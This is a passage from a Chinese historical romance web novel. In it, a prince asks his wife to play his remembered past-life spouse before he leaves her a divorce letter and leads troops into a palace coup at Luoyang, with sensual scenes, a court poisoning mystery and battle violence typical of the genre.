元衡自顾自说,并没有理会她的表情,“本王要去洛阳,生死未知,不过你放心,无论成败与否,你那阿弟,本王都会让人安排好,不会让他回虞家,也不会让他无所事事。” “至于皇后,若是事能成,本王还是会将人交到你手上,若是事不成,你怕是还要另想办法。” 岑璠将他的一字一句听得清楚,一字一句,仿佛不像是在与她玩笑。 她没有问半句他要去洛阳的事,只问了句,“为什么?” 元衡变得沉默,就连眼睫都垂了下来。 许久之后,他道:“本王记得当初的承诺,你侍奉本王一年,同本王做了一年的夫妻,就当本王兑现承诺罢。” 岑璠记得当初与他的交易,他说嫁给她,他便帮她报仇。 可如今她嫁给他,好像还不到一年。 他应当不是在指桑骂槐才对… 岑璠抬起眼眸,想要仔细揣摩他的心思,恰好对上他上抬的目光。 她慌忙收回视线,生怕他反悔,有些语无伦次地应道:“我…多谢殿下…” 元衡久久没再说话。 再开口时,他道:“本王还有个条件…” 此话一出,岑璠的心又 凉了半截。 可他紧接着说的要求虽然奇怪,却不难答应。 “这几日回途,你能不能扮作她,同本王再做几日夫妻…” 第92章 第九十二章扮得像吗 岑璠答应了下来。 元衡也知道,她嫁给他后,日日都在盘算的,应该就是怎么能离开。 他给了她一个能选择的机会,她肯定不会放过。 回北镇的路上,岑璠自己换上了一身白衣。 能在梦中回想起的人,似乎也只有这一身白衣 她拿起镜子,也想去看看自己和梦里的人有多相似。 看到镜中的自己,岑璠才恍然间意识到,自己根本从未看清过梦中人的容貌。 或许也不像,她没有梦中的人那样清瘦。 岑璠放下镜子,马车外便有人掀开毛毡进来。 她装不出含情脉脉,却也没有表现出不耐烦。 也许他上一世始终对那个她有什么遗憾,她填补了这份遗憾,他便能放过她。 他应当就是这样想,所以才让自己扮作她。 岑璠颔首,叫了声“殿下”,而后让出了点位置。 他驻立在门外,看了她许久。 岑璠愣了愣,犹豫地问了一句,“殿下觉得…像吗?” 她这么问,本是觉得自己不像,可他并没有像平日一般挑三拣四,点头说了声,“像,像的…” 岑璠放下心来,不适应他这般炽热而又纯净的目光,看向一旁,问道:“殿下可要进来坐?” 元衡听言钻进马车,“皎皎这几日,可不可以不要再问方才的问题?” 岑璠强撑起笑容,道:“都听殿下的。” 可她心底还是有想要他先回答清楚的疑惑,即使梦中的那人就是她,她自己也实在无法想到… “殿下,她过去是怎样与您相处的?” 元衡嘴抿紧,一时半刻却也不知该如何回答。 他们做夫妻的那几年是如何相处,他也不甚记得 唯一残存的记忆,约莫也只是在寄云寺的那段日子。 她会为他换衣上药,还会为他洗手作羹汤,可她那时已经将所有的喜欢都藏起来,不再表露半分。 那时她应该也是不喜欢他了,玉佩是他偷来的,他还害她丢孩子,若不是她这样好,肯定是要恨他的 元衡的目光移向马车内的那只梨,道:“皎皎削一只梨给我吃好吗?” 他没有用尊称,语气也还算温和,岑璠说到做到,拿起放在一旁的小刀,细指托着梨,削下一圈圈皮,不曾断掉。 岑璠削好那只梨,又问道:“殿下可要妾身切好?” 元衡接过她手中的刀和梨,自己切开了那块梨,小刀叉向一块儿白嫩的果肉,“张嘴。” 岑璠乖顺地张开嘴,咬了一块儿。 只是还没吃完,他便将剩下半块儿拿走,塞到了自己的嘴里。 岑璠嘴角抽动,到底没说什么。 他却是还不餍足,轻轻一笑,尝了尝她唇角留下的甜渍。 岑璠无所适从,手指还沾了些梨水,只得用手背轻轻擦了擦。 他捉了她的手腕,看了看那皙白的手指,轻轻吸吮她的指尖。 纵使再怎么说服自己,岑璠也受不了他这般。 还待在马车上,岑璠没有大声喊出来,只细若蚊音道了声,“别” 元衡抬起眼来,长长的眼尾似水波涟漪,慢慢弯起笑意。 马车内许久都未曾有人下来,辘辘车轮声遮掩住了车内的旖旎 回到赤城时,岑璠发髻乱了许多,手上的几只簪自己簪不起来,只得拿在手上,重新随意挽了个髻。 到房中,岑璠便是想把乱了的髻重新挽起来。 男人从背后拢住她的手,下颌支在她的肩上。 清幽的沉香扑面而来,岑璠放下簪,语气终于泄漏出疲惫,“殿下还没有尽兴?” 他刚才在马车上,将她抱在腿上做的事,仿佛历历在目,刚才车夫虽然没说什么,可看她的眼神却也是一言难尽。 岑璠想到便觉得不自在,委婉地躲开他。 元衡便是当作欲拒还迎,两只手往上攀。 最终又演变成了刚才的样子,衣衫掉了一地。 双臂穿过膝弯,将她轻易抱了起来,岑璠听到背后一声轻笑,“还没干呢…” 岑璠气不打一出来,刚睁开眼,却转眼看见镜中的景象。 他这是打算把做过的和没做过的,在这几日都再做一遍… 岑璠深吸一口气,又闭上眼,便当自己灵魂出窍了一会儿,像一片树叶,随风上下飘荡。 赤城刚刚稳下来,防城内再起骚动,打梆声晚了些,直到最后一声锣响回荡,屋内才跟着渐渐声小了。 地上的毯子脏了一片,被宅中的奴仆重铺上一张。 岑璠眼皮打架,腿脚脚仿佛变成泡软的面,实在直不起来,便任由他抱去擦洗。 背再挨上床榻时,她下意识想要背对着他睡过去。 他揽住她的腰,将她一点点掰转过身,将她的头按在他的胸膛上。 “这么睡…” 这面胸膛,这辈子的岑璠没怎么躺过,更不要说上一世。 他常年习武,枕在这一身紧肉上,算不上难受,可还是别扭… 岑璠顾不得这些,两只眼睛很快便合上。 那道呼吸渐渐平稳,元衡在她发心轻轻一吻,“要是能一直这样便好了…” …… 当晚,元衡却当真做了一场梦。 梦中的她还在王府,他听了韩泽的话去西院看她,在那里中了香,同她宿了一晚。 第二日醒后,她同他解释,他没有转身就走,信了她说的,叫来韩泽彻查府中之事。 查下来发现,屋中的香不是她点的,不过是舅父想趁此机会把她赶走,好在府里安插上自己的人。 她没有去庄子上,他也并没有再去看她,却多送去了几件暖衣。 后来的某一天,空寂的王府传来了一道有人气的消息。 她怀孕了…… 他在房内辗转了半夜,第二日第一次主动去她的院子,在门外停留了半晌。 槿儿开了门,她正看着自己的肚子,见到他时,杏眼睁得圆溜溜的。 他伸出手去,她似乎有些惧怕地往后缩了缩。 他问道:“想生吗?” 她轻轻点了点头,看起来却几乎和没表态一样。 他未点破她的不安,手指弯起,在她的肚子上轻轻碰了一下,“那便生下来吧。” 那时他看到,她的眼睛像是琉璃一般。 即使是不受善待,也是能含着光… 他回去后,赏赐了好些她能用到的东西,问她要不要搬离西院,她却是不愿。 后来他竟情不自禁往她的住处跑,停留的越来越久,有的时候甚至一宿就是好几日。 他觉得她太瘦,送了很多补品去,她脸上饱满了许多,更好看了些,也有了精力,在房中时而绣几只香囊给他,还会缝些小娃娃的衣裳。 到后来肚子渐渐大了,也不那么局促,在他面前画起了画。 他那时向皇帝举荐了杨知聿,调和军镇两房势力的矛盾,在晋阳当起了半个甩手掌柜,有时候在院中看她作画,一看便是一个晌午。 有一次她画累了,干脆靠在他的肩上… 后来,一个小娃娃在王府呱呱坠地。 她生的是个男孩,出生时他抱着那个孩子傻笑了许久,小心翼翼抱进屋给她看,她也弯起了眼眸。 她生下孩子不久,他便是开口,让她留在主屋,不纳妾室,此后做了一对人人羡煞的恩爱夫妻。 军镇十年并无大事发生,有他的举荐,反倒更安稳了些,后来便是彻底甩开手,窝在晋阳陪着自己的妻儿。 年过而立之时,已是儿女绕膝。 他打趣说起当年玉佩的事 ,她一愣神,他便是发现。 她只是淡淡一笑,说想改日去祭拜那位姑娘,而后却又靠在了他的肩上。 大梦半生,余下的便是再也梦不到了…… 元衡迟迟才睁开眼,恍然间发现,自己的鬓角似乎都湿了。 一滴泪似是落在她身上,她轻哼一声,在他的胸前蹭了蹭。 一声“对不起”融在夜色中,消失不见。 * 隔日,元衡去军营中点兵,同杨知聿交代好军镇的事。 这个关节,赤城不能不守,暂缓之计还是要依靠尔朱氏。 上一世这个时候他与尔朱氏没有到翻脸的时候,有尔朱阳雪,或许事情还会更好办些。 他们走时,曲芜的棺才刚运回来,还未下葬。 岑璠还是去祭拜一番,元衡倒也没有阻止,陪她一起去了穆氏。 听说那穆氏的二公子被打了一顿,关在家祠,可到底也只是受了些皮外伤,就像只是打死了主人家的一匹马一样。 最终被遗忘的,也只有曲芜这个女子。 生若浮萍,死如落叶。 岑璠走时,回头看了看那口棺材。 元衡握住了她的手,道:“现在局势乱,若是孤能回来,会帮她讨个公道,你觉得如何?” 岑璠听到后,觉得有些惊讶,须臾后低头颔首,“多谢殿下…” 她只是道谢,可到底是没怎么把他的这番话放在心上。 他愿意帮曲芜报仇自然是最好,若只是为了稳住她,她倒是也没本事做些什么。 此行随军队而归,又途径山谷,倒是没多少人来找他们麻烦。 出了山谷,队伍转却是转了方向,向西走去,到达一处山寺前。 寺嵌在山壁上,一阵长哨响,寺中走出一个僧人。 不过多时,山寺上下来几个身穿便服的壮汉。 领头的人,是许久不见的赵巍。 “那女人呢?”元衡问道。 赵巍先是行了一礼,道:“殿下放心,人还活着,只不过…神志有些不清醒罢了啊。” 元衡皱起眉,多问了几句。 岑璠也记起,他们来军镇的路上,是在找一个人。 那时杨氏的人来报,说是押送一个人回军镇,路途却被劫道丢了人,自己身旁的人说让他们注意崔氏的动向。 可到头来,这个人就在晋王自己手上…… 岑璠不禁多看了他一眼。 元衡微微躲开她的目光,也不打算解释什么。 领上人后,便是打算上路。 面前驶过一辆青篷马车,马车中隐约还能听见几声吵嚷。 岑璠隐隐能猜到,他费这么多精力找来的人,与皇后有关。 她这么问了出来,他倒也没有对她隐瞒,“是与她有关。” “皎皎可曾听说过,宫中曾经有过一位姓文的昭仪?” 岑璠摇了摇头。 元衡想到她不知道,那位昭仪被打入冷宫时,她应当才出生,就算是死的时候,她也才是个娃娃。 “那婢女的主子貌美,心肠却毒,不仅与人私通,还要害母后和元斓,现在看来,当年只是另有隐情。” “是皇后加害?” 元衡点头,这件事是元斓同他做的交换,不过看来,她并非只告诉了他。 此人握在他手中,总要比握在杨氏手里好。 元衡看了眼马车,“看上去像是,能不能报仇,还要看此人吐出些什么。” 岑璠便没再问,只在上车时又看了一眼那马车。 * 化了一日的雪又凝结了一层薄霜,远山沉淀的火红与夜色相接,队伍又停了下来。 岑璠从车上下来,本着做好扮好“她”的承诺,和槿儿去找晋王。 路途却是遇到了韩泽。 韩泽提了一盒梅子,就要给她送进车去。 这梅子还是去岁夏天摘的,府里的梅下得多,便是去核后晒成干存放起来,晋地寒冷干燥,到现在也未曾坏。 这一路上坐车困乏,便是带了许多梅干,当做零嘴爽口。 韩泽见她要去找人,本是想给她送到车上。 岑璠车坐得久,胸口憋闷,便没让他送回去,接过盒子,打开来边走边吃。 走到马车前,元衡却不在。 岑璠问过,才知道他从这里离开, 马车内吵嚷,比刚接走时声音更大些,时不时冒出几句疯话,夹杂几声尖叫。 岑璠不自觉抬脚,要朝马车那边走去。 赵巍还守在马车前,用剑挡住,委婉道:“王妃还是别靠近了,此人现在…见不得。” 岑璠瞧了一眼,却坚持道:“我不同她说话,只想看一眼。” 她无声走近了几步,站在几尺之外,赵巍有所犹豫,还是用剑挑起了车帘。 车内的女人瘦的不成样子,身上的衣裳穿的暖和,却不算齐整,鬓侧乱糟糟的,头发像是被打理过,又被自己抓乱了。 女子见到光,又抱紧了头,扯住两边的头发,“没有下毒!她是被骗了!不是娘娘下的毒…” 像是受了什么刺激一样。 岑璠本是想再问问皇后的事。 晋王对她的承诺,她终究不太放心,若是他此番去洛阳,还是不能扳倒皇后,她总要多知道些什么。 不过看样子,她现在应该也问不出来什么更多的,倒不如去问问晋王… 那女人叫声愈发犀利,岑璠向后退了几步,正打算离去,那女子手却猛地指住了她。 准确说,指的是她手中的那盒还没来得及盖上的梅子。 “还有这个!这个也扔掉!”她说得越来越急促,最后一通乱指,咬牙切齿,带有恨意,“娘娘不能吃梅子,你们这些刁奴!真是犯了天了!” “不对,你们这些狗奴才,就是想害死她!都想害死她…” 第93章 第九十三章和离书 岑璠低头,将手里的盒子赶快盖住。 槿儿拽她的袖子,接过她手中的梅干,用了点力气,将她拉走。 “姑娘可别看了,待会儿闹大,殿下又要说您…” 岑璠到如今也没有同槿儿说起接下来的打算,墨群不知道,远在晋王府的乳娘她们不知道… 槿儿这两日也在她身边感慨过,说这几日晋王的脾气好了不少。 可岑璠知道,他温情的一面,其实应当都属于另一个人。 已经早已经不在这世上的人。 现下一切未知,等回到王府,临到走时,也许她也会理解的吧。 岑璠这样想,还是没有透露自己的心思。 她慢慢悠悠地往前走,离那辆马车又远了些,叫喊声也渐渐听不到了。 很快她便看见了元衡,他似也注意到她,又向对面的人交代了两句,向她走过来,握住她的手。 他的手掌还是热的,起码要比她冻在外头热很多。 元衡掌心包裹地严实了些,轻声问道:“手怎么这么冷?” 那声音温柔得似水一般,岑璠起了一身鸡皮疙瘩。 她道:“方才吃了几颗梅子,兴许是冷得吧…” 元衡瞥向槿儿手上的梅干,打开来,众目睽睽下送到她嘴边一颗。 岑璠倒是也不扭捏,张嘴吃了那颗梅干。 “等下让韩泽再多送上去马车上。”元衡说罢,上手拢了拢她颈边兔毛领子。 岑璠微微颔首,看向他,觉得刚才见到人的事也瞒不过他,干脆自己承认,“我刚才去马车那边找殿下,见到了那个女子。” 元衡却还是一副好脾气,“嗯”了一声,又塞了一颗梅子到她嘴里,“她都说了些什么?” 岑璠回忆了回忆,道:“说下毒的事。” 元衡笑了笑,同她说道:“当年文昭仪被打入冷宫,已然疯了,给母后和元斓下毒,应当是受了当今皇后挑唆,否则靠文昭仪一个疯子,那碗红豆汤不会送到母后手中。” “那位昭仪可是与先皇后有什么恩怨?” “文昭仪曾 与人私通,还诞下过一个孽种,是母后告发的这件事。“他将这些事徐徐道来,依旧用那种让人头皮发麻的眼神。 岑璠约莫是明白了前因后果,点了点头,躲开他的目光,看向他手里的那盒梅,口中还泛着梅干的酸甜。 “殿下不能吃梅,那陛下或是先皇后可有不能吃梅的?” 话一出口,岑璠便是收住话。 她也不知道为何自己忽然想问这个问题… 元衡却认真回忆了一番,“母后不曾,至于父皇,孤也不知道。” 岑璠没再追问什么。 “皎皎问这个做甚?” “没什么…” * 山谷绵延,出了山道,便离晋阳不剩几日。 一路上,他愈发沉默,每每岑璠以为他失了前几日的新鲜感,他却都会在夜晚找到她,打消她的念头。 岑璠也渐渐明白了他为何沉默。 已经不剩几日了… 快到晋阳时,忽然兵分两路,一路向南直下,另一支留守在了晋阳城内。 到府上那日,元衡在府门外站了许久。 岑璠下车时,径直就要入府。 他握住她的手腕,将她横抱起时,岑璠眉头皱成一团,用力挣扎。 元衡稳稳抱住她,凑在她耳边,近乎恳求,“再扮一晚,已经最后一晚了…” 她又挣了两下,却发现拧不过他的力气,只能问道:“殿下当真?” “当真…” 他承诺一声,抱着她进了王府,直向西处的小院去。 这处小院子,岑璠许久没有来过。 再环视一周,岑璠便是明白过来,为何自己当初会觉得熟悉。 这应该就是她梦中出现过的小院。 原来她上一世,便是在这偏僻的地方,困了自己五年… 春景将至,院内的雪早已消散,枯草已经被星星点点的绿意遮盖,土腥味混杂其中,一片生机盎然。 岑璠抚过院中的石桌,看了看院中尚在盛放的白梅。 即使是这晋地的白梅如今也盛放,甚至都快凋谢了。 元衡就这么看着她漫无目的地走动,像极了新筑起巢的鸟儿,盘旋于所栖的草木。 可她并不是要在此筑巢,而是要走了… 元衡屏退了所有人,依靠在月门外,恍然间想到前几日的那个梦。 梦中他最终也将萧瑟小院装点成了这派温馨模样,和她在这里,守着他们的第一个孩子出世。 可那种幸福只有梦里才拥有,即使是在现世,也不曾再抓住过丝毫。 渐渐地,有什么模糊了视线。 就连上一世都变得模糊,仿佛只有那场美梦,和现实交织成一团。 他抬起头来,许久后才又看清天上云,嘴角弯起了一点笑意。 他静悄悄走到她身后,直到很近时,岑璠才听到脚步声。 她放下手中的花枝,微微转头时,温暖自背后笼罩,胸膛紧紧贴住她的后背,能感觉到心跳声声迸出。 他头轻轻搭在她的肩上,问道:“你能不能为孤做一道菜,什么都好…” 岑璠道:“殿下,我…真的不会。” 元衡道:“会下面吗?一碗面也行…” “孤同你一起…” 岑璠抿了抿唇,想到是最后一晚,便是也答应了下来。 这处小院的耳房后有一间小灶房,只做一碗面,倒也是够用。 岑璠到底只会下面,和面擀面这种事倒是不会。 元衡抓了把面粉,添了把水,很快用擀面杖擀出了一张平整的面皮。 岑璠问道:“殿下还会这个?” 元衡对上了她探究的眼神,这种眼神他几乎从来都从她眼中看到过。 成婚一年,她也不曾问过他这些闲事。 早知道她对他的这些好奇,他就应该早些做才对。 元衡下意识盘算起来,可刚盘算没几步,恍然间却想起,这已经是最后一日了… 心里泛起的酸涩,他用笑意掩饰起来些,道:“从前在军中,做过。” 岑璠也想起,她打听来的晋王,曾在军镇九死一生,想来做饭起灶也是家常便饭。 面皮擀好,她用刀切成几条,元衡烧起灶,舀了几瓢水,给她让出位置。 岑璠打了颗蛋,将面条煮了进去。 多好的日子…… 元衡目不转睛看着,直到一碗面被盛出来,深吸一口气,帮她去端面。 两碗热腾腾的面,不算好吃,味道甚至索然无味。 可元衡很快便吃完了。 他放下碗筷,却见她还在低头挑面。 他静静看着,忽地唤她一声。 岑璠停了筷子,等着他说话。 “倘若我此去回不来,你会难过吗?” 岑璠想了想,倒也不忌讳,“若真如此,我会去看殿下。” 元衡嘴角抽动,却又问道:“那如果我入皇宫,坐上高位,你会回来吗?” 岑璠唇慢慢合上,只字未言,看他的眼神渐渐带了些戒备。 元衡躲闪开目光,“我只是说笑而已,知道你不想进宫…” 一晚上,他同她嘱咐了很多,就像刚成婚的那个晚上。 他同她说,让她走后先别回彭城,呆在晋地,随便哪里都行,等他有消息后再回。 他还同她说,他五年肯定不会再娶,这五年里让珝儿留在府上学本事,让她每年回来看看,她这个阿姊一直不在,放在他府上五年不太妥当。 “还有你的嫁妆,孤知道你母亲于寄云寺有恩,等明日会叫人将你的嫁妆送回去。” “这些嫁妆殿下留着吧。”岑璠却是道。 这句话她上一世也说过,元衡手指动了动,坚持道:“你拿回去。” 岑璠道:“这些嫁妆有一多半本就是殿下的东西,其余便当是我给北镇的军民。若是殿下此行顺利,倒时再还便是,若殿下还是晋王,便当是我为军户做些事。” 她说完这些,还补了一句,“殿下现下缺这些钱,不是吗?” 这句话确实将元衡的话塞住。 他用自己的银两买了穆氏的地,将来只会用更多。 确实如她所说,他缺钱…… 元衡没再拒绝,还是执拗道:“将来定会还你。” 岑璠浅浅一笑,没放在心上。 元衡盯着她,却又忍不住提了个要求,“孤五年不娶,皎皎能不能也答应孤,五年不嫁人…” 话一出口,却又觉得五年太长,她还只是十八岁,若是这几年再嫁,定是还能嫁个好人家。 他改口,声音又小了些,“两年吧…” 岑璠之后也未曾有什么打算,微微颔首,“可以。” “若是以后嫁人,先别着急添孩子,总要先辨别那家人的好坏…” 岑璠觉得他啰嗦。 她将来若是打算找,看上的定然要比他家里的人要好上太多。 她仍是有耐心,道了一声,“多谢殿下提醒。” …… 烛火渐暗,一个晚上难得未起冲突,夜里的烛火也灭的不算晚。 沐浴后的香气散在帐中,浓郁而不刺鼻。 岑璠没有闭眼,背对着他睡去,仍觉得有些恍惚。 可和离书还未送到她手上,她也不知道明日还会发生些什么。 忽地,一只手伸过来。 熟悉的气息靠近,除了刚沐浴后的香气,还有一点衣上熏有的沉香。 那声音像是受伤的野兽在低吟。 “最后一次,还没到明日,最后一晚了…” “皎皎,孤舍不得你…” 岑璠想要告诉他,人终有离别,可唇转而就被覆住。 他描绘着她的唇,慢慢舔舐,似还是觉得不够,毫无章法地扯开她的寝衣。 炙热的胸膛如同烈火,让岑璠无所适从。 “你能不能再叫孤一声夫君…” 岑璠终究叫不出口,在这个关头,却也不想惹他不快,无声做了个口型。 唇又被堵住,正当要窒息时,膝却慢慢被蜷起。 他带来的感觉实在难耐,岑璠躬起身,低下头去,咬紧了自己的手指… 最后一夜,终究是没有荒度。 岑璠也不知道自己是怎么睡过去的,只知道他一遍遍重复着最后一次,到再也没东西要给她时,已经到了后半夜。 就算是短短后半夜,竟也是足够做一个错乱的梦。 梦的前半段,她去看望葬在庄子外的槿儿,回来时身下便一直在流血,滴滴答答流了一路,最后倒在了庄子前。 后半段,却是一段美梦。 梦中一个小男孩伏在她的膝上,听她讲着故事,旁边有人,将一颗青梅塞进了她的嘴里。 至于那人的脸,已经看不清了。 梦再醒时,帐内已经无人。 岑璠起身,挑起帐子,透进些微光,还有些恍惚。 床边似是放了一张信纸。 看清上面的字,岑璠瞬间清醒,赶紧将帘子勾起,细细查看。 解怨释结,更莫相憎,一别两宽,各生欢喜… 岑璠紧紧盯着这封信,手不住颤抖,光着脚从床上站了起来。 槿儿听到动静,从外间进来,看到自家姑娘全身只穿了一件小衣,盯着一封信看,赶紧走近,“姑娘可别冷着了。” “殿下今晨走时,还说让您好好照顾自己,姑娘生了病,我们之后可没法交代…” 槿儿这般叮嘱,却见自家姑娘眼睛都快戳到心里了,觉得自己像是对牛弹琴,忍不住瞟了一眼那封信。 “和离书”几个字赫然映入眼。 要继续说的话停住,“姑娘…这…” 岑璠回过神,叠起那封信,塞到自己怀中,没让她再看第二眼。 槿儿脑子一片空白,昨日两人还分明好好的,怎么今日就… 思来想去,只想到一个可能。 “殿下此去是不是有危险,所以才给了姑娘这封和离书?” 岑璠知道原因,可那些前世的事终究太难让人相信,她也说不出口。 他此行确实命数未知,约莫也是因为这个,所以才放手得干脆,这么说应当也不算完全骗槿儿。 岑璠颔首,“算是吧。” 槿儿还是难以相信,三步两退,“我去叫乳娘…” 最后不只是乳娘,连紫芯听到消息也跟来了。 乳娘眼睛睁大了些,步子似有些悬浮,要靠紫芯才能站稳。 岑璠挑了些能说的去说,“珝儿会留在府上,乳娘年事已高,跟着我走也不方便,不如和珝儿一起留在王府。” 说罢,她看向槿儿,“槿儿也留下,好好照顾乳娘。” 槿儿眼泪不住往下掉,乳娘也劝了又劝,“殿下此去,也不一定是回不来,姑娘不如先待在府上…” 一番话终究没劝动岑璠,她摇头,“乳娘,要走的。” 乳娘愣了愣,弄不清前因后果,也不好再劝。 她还是不放心,问道:“姑娘…不会…不回来了吧…” 岑璠低下眼,“会回来的。” 起码这几年,她答应了他,会回来看珝儿。 总会有一日真正一别两宽… 岑璠叫人收拾好行囊,身边只带了紫芯和墨群。 元衡找了些人明里暗里相护,至于去向,便全由她做主。 有了那封和离书,和曾经被监视终究是不同。 像是被解了链子的鸟儿,想往哪里飞,就往哪里飞。 岑璠思来想去,也觉得现在这个节骨眼,离开晋地不是好的选择,南下世家盘踞,局势未明之前,她也不好现身。 思来想去,岑璠决定先去一趟平城。 想先去告诉阿湄这个消息,同她在同一座城里住一段日子。 队伍慢悠悠行走,穿过一座座县城,岑璠也真正闲下来,看看这晋地真正的风土人情。 走到秀荣,一行人却停得久了些。 秀荣算得上繁荣,又无世家盘踞,常有外邦商队经于此,商贸络绎不绝,城外还有好几座佛寺。 几人昨日在面铺多呆了一段时间,姑娘请她和墨群吃面,在街上逛了许久,直到没多少人才回。 今晨起来,岑璠便有些肚子疼。 紫芯以为是自家姑娘的小日子提前来了。 自家姑娘曾经乱用过药,后来调理一段时间,也时不时不准。 后来发现猜错,便是想到昨晚吃的那碗面。 这秀荣的面馆,想必是不怎么干净… 岑璠脸色疼的有些苍白,额上冒了许多冷汗。 她手里拿起小杯,又喝了口热水,一只手不声不响捂住肚子,越来越安静。 第94章 第九十四章找郎中来 她抓紧了身上的衣裳,“紫芯下楼去,找个郎中来吧” 紫芯正有此意,嘴上一边嘟囔着昨日的黑店,一边穿上小袄准备出门。 岑璠叫住她,又嘱咐道:“记得避开门外晋王府护送的人。” 紫芯想不到原由,还想问什么。 岑璠下唇微收,一阵疼又往骨头里钻,眉越皱越深,道:“你先去罢。” 紫芯见状,赶紧出房门,下楼时脚步太急,差点撞到墨群。 墨群问道:“姑娘怎么样?” “姑娘肚子疼得厉害,正要去请郎中呢…” 紫芯说完后,才想起岑璠的嘱咐,忽然微踮起脚,叮嘱道:“对了,请郎中的事,可别让晋王府的人知道。” 墨群抬头望了眼客房,思忖片刻,问道:“姑娘说的?” 紫芯点了点头。 墨群没再问,“我去请人。” 紫芯想说什么,墨群却已经转身,“我去能快些,你进屋陪姑娘罢。” 紫芯叫不住他,便是下楼去,问驿馆的人要了只羊皮水囊,灌些热水带上楼。 岑璠见她这么快回来,愣了片刻,紫芯解释完,才知是墨群替她去请郎中。 不过一会儿,墨群便将郎中带上来。 岑璠神情却愈发凝重,露出一截手腕,时刻注意郎中的反应。 那郎中看起来像是位花甲老人,胡子花白,一只手给她把脉,另一只手慢吞吞捋着胡子,闭上眼睛,半天不说话。 看起来倒像是什么江湖骗子。 岑璠不禁问,“墨群是从哪里请来的老先生?” 墨群如实答,“西街的药铺。” 岑璠抿了抿唇,没说什么,等着老郎中说个所以然。 老郎中收回手,睁开眼睛,道:“夫人脉象沉实积淤,像是吃坏了东西。” 紫芯不住点头,“是了,姑娘昨日去面铺吃了面,看起来是不干净…” 岑璠纳罕,“昨日那面,紫芯不也吃了?” 紫芯一时哑口无言,老郎中却是双指敲在桌上,徐徐道来,“这人的脾脏肝肺皆有不同,反应自也不同,来到我们这儿的人,吃坏的,吃不惯那都是常事,夫人总该知道,一方水土养一方人嘛…” 岑璠问道:“你为何要叫我‘夫人’:” 老郎中咂了下嘴,“老朽从医四十余年,夫人是否成婚,老朽这一诊便知嘛。” 岑璠半信半疑,又伸出手,“老郎中可否再诊诊,莫要误诊才是。” 老郎中抖了抖袖子,听到这番话显然不是很高兴。 又诊了片刻,郎中摇头,站起身来,颤颤巍巍要走出门,“老朽没诊错,夫人就是吃坏东西罢了,这些时日吃些清淡的,老朽再回去开副药找人送来,夫人休养几日,便能无碍。” 岑璠站起身,“不必麻烦郎中,我自己去取药。” 老郎中回过头,“哎呦”一声,“是夫人的人将我从药铺拉来的,夫人难不成还真当老朽是骗人?” “夫人还是别乱走动的好,再着凉染了风寒,就更不好了。” 岑璠还是坚持跟了出去,老郎中无奈,便由她跟着,回了药铺。 药铺内有一个小童,见到老郎中回来,叫了声“师父”。 老郎中径直走向药柜前,熟练地抓几副药,翻开书来,指着书对小童道:“照着这个方子的量,分出十副药来。” 小童惊讶道:“这么多?” 老郎中拍了下他的脑袋,“光想着偷懒,这位夫人付得起银两,你抓便是。” 岑璠听到两人对话,移回了目光。 领过几副药,岑璠问老郎中可有方子,老郎中摆手。 “老朽行医多年才得此方,不可外传,夫人见谅啊。” 岑璠本想再去其他药铺看看,这样更稳妥些,可转而想想,这祈州的药铺应当不多,想必也隔得远,只能作罢。 * 黄昏之时,天幕映染霞红,与巍峨宫墙下的血色相合。 宫墙上的禁军又被射下城墙。 准确来说,城门上的不尽然是禁军。 前几日,洛阳城内得到的消息,是晋王带兵南下,胡氏领兵,晋王身负重伤,晋兵溃不成军,落荒而逃。 可不过几日,华山郡内便出现了北镇的军队,晋王亮出一道圣旨,依诏进宫救驾。 王氏和郑氏世家的私 军,以清君侧为由,随晋王一同讨伐胡氏。 前些日被击溃的北镇军和这支军队前后包夹,取下胡氏的项上人头,最后声势浩大,直向洛阳而去。 紧闭多日的宫门被撞开,皇城内也早已乱成一团,除了叛军和护驾的禁军厮杀,时不时能遇到死在刀锋下的宫人。 穿过乾元门,两军在太极殿前对峙,一只箭响划过,原本隔出的一条楚河汉界被打破。 叛军领兵的乃是广陵王元钰,若是元衡往日见了,约莫要叫一声皇叔。 元钰知道他敢射这一箭,便是不将现在的皇帝生死放在眼中。 他头上直冒冷汗,大喊道:“元衡,你是要反吗!” 元衡没有回答他,握剑的手抬起,亮出带血的刀锋。 一时间杀声四起,血染高台,叛军人数不敌,也知道不战即死的道理,一时间各个目眦尽裂,有禽困覆车的架势。 东西两门打开,又有一批军队自永巷而入,阻隔南北两宫,形成包围之势,叛军的气焰才被浇灭。 元钰被擒后,元衡仍没放下剑,粘稠的鲜血顺着剑尖滑落在青石砖上,划出一条蜿蜒长线。 皇帝就在显阳殿内,元衡连看都没看一眼,直过永巷,向宣光殿而去。 显阳殿大门紧闭,胡盛耳贴殿门,听见杂乱的打斗声,哼笑一声。 殿内有许多盏灯,可一盏都没点燃。 胡盛转过身去,皇帝闭着眼,稳稳坐在一把那把宝座上,枯若树皮的脖上却架有一把刀。 “陛下这位儿子,似乎并不在乎陛下的性命。” 皇帝并未被他这番话激怒,反倒挑眉点头,“朕的这个儿子恨极了朕,胡爱卿同朕在一处,莫不是想陪朕一起死在显阳殿?” “陛下这个时候,倒是还能说笑?” “朕没有说笑,朕是在同爱卿谈判罢了。”皇帝睁开眼,扫了眼脖上的剑,道:“若是朕死了,胡氏谋反的罪名便会坐实,老二和胡氏隔着杀母之仇,不会轻易放过胡氏。” 皇帝不紧不慢道:“但若是爱卿愿意,朕现在拟旨,可保胡氏一族无恙。” 胡盛向前走了几步,嘴角抽动,“陛下以为我等是三岁小儿不成?我胡氏若放下刀,走出这道宫门,焉有命在!” “信不信随爱卿的,不过倘若朕尚有命在,定不会追究。”皇帝望向门外,像是看穿了一切,“老二能这么快入宫,想必有世家在背后撑腰,那些匹夫狼子野心,此番进宫,想毁大魏祖宗百年基业,爱卿觉得朕该不该让他们得逞?” 胡盛沉默许久,做了个请的手势,“还请陛下先拟诏。” 架在脖上的刀始终未落下,皇帝从容走到书案前坐下,拿了金纸研墨,抬起袖子,一笔一画写下诏书,干脆利落用玉玺压好印。 胡盛半信半疑接过诏书,让左右收起刀,“还请陛下和臣一起出去,当众宣召。” 皇帝什么也没说,起身随胡盛并排而行。 沉重的殿门打开,透进来些红光,只是在下一瞬,一只重箭迎面而来。 皇帝瞪大了眼睛,然而紧接着,倒下的是身旁的胡氏。 大殿两侧围来人,有他面熟的禁军统领,还有穿着北镇的兵甲。 跪在他面前的人,他不认识。 “你…” 皇帝话还未出口,赵巍便是一颔首,抱拳扯嗓大喊道:“臣救驾来迟,还请陛下赎罪。” 此话一出,周围便是此起彼伏,“请陛下赎罪!” 那声音响彻宫殿,还未消下去,尚在殿内的人便冲过来,直向皇帝而来。 赵巍大喊:“保护陛下!” 